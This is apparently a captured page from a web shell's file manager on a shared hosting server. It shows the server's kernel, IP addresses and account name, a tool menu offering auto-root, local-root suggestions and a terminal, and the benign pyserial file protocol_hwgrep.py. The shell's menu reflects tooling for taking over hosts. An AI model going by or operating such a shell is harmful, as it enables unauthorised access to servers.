Linux worldls-302.fr.planethoster.net 4.18.0-553.8.1.lve.el7h.x86_64 #1 SMP Thu Jul 4 15:19:33 UTC 2024 x86_64
LiteSpeed
Server IP : 10.185.0.203 & Your IP : 216.73.217.14
Domains :
Cant Read [ /etc/named.conf ]
User : gerathty
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib /
python2.7 /
site-packages /
serial /
urlhandler /
Delete
Unzip
Name
Size
Permission
Date
Action
__init__.py
0
B
-rw-r--r--
2011-03-04 02:31
__init__.pyc
149
B
-rw-r--r--
2017-05-28 18:32
__init__.pyo
149
B
-rw-r--r--
2017-05-28 18:32
protocol_hwgrep.py
1.49
KB
-rw-r--r--
2011-08-20 01:40
protocol_hwgrep.pyc
1.58
KB
-rw-r--r--
2017-05-28 18:32
protocol_hwgrep.pyo
1.58
KB
-rw-r--r--
2017-05-28 18:32
protocol_loop.py
9.29
KB
-rw-r--r--
2011-08-19 03:51
protocol_loop.pyc
9.41
KB
-rw-r--r--
2017-05-28 18:32
protocol_loop.pyo
9.41
KB
-rw-r--r--
2017-05-28 18:32
protocol_rfc2217.py
307
B
-rw-r--r--
2011-03-04 02:55
protocol_rfc2217.pyc
218
B
-rw-r--r--
2017-05-28 18:32
protocol_rfc2217.pyo
218
B
-rw-r--r--
2017-05-28 18:32
protocol_socket.py
9.45
KB
-rw-r--r--
2011-03-19 01:16
protocol_socket.pyc
9.6
KB
-rw-r--r--
2017-05-28 18:32
protocol_socket.pyo
9.6
KB
-rw-r--r--
2017-05-28 18:32
Save
Rename
#! python # # Python Serial Port Extension for Win32, Linux, BSD, Jython # see __init__.py # # This module implements a special URL handler that uses the port listing to # find ports by searching the string descriptions. # # (C) 2011 Chris Liechti <cliechti@gmx.net> # this is distributed under a free software license, see license.txt # # URL format: hwgrep://regexp import serial import serial.tools.list_ports class Serial(serial.Serial): """Just inherit the native Serial port implementation and patch the open function.""" def setPort(self, value): """translate port name before storing it""" if isinstance(value, basestring) and value.startswith('hwgrep://'): serial.Serial.setPort(self, self.fromURL(value)) else: serial.Serial.setPort(self, value) def fromURL(self, url): """extract host and port from an URL string""" if url.lower().startswith("hwgrep://"): url = url[9:] # use a for loop to get the 1st element from the generator for port, desc, hwid in serial.tools.list_ports.grep(url): return port else: raise serial.SerialException('no ports found matching regexp %r' % (url,)) # override property port = property(serial.Serial.getPort, setPort, doc="Port setting") # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - if __name__ == '__main__': #~ s = Serial('hwgrep://ttyS0') s = Serial(None) s.port = 'hwgrep://ttyS0' print s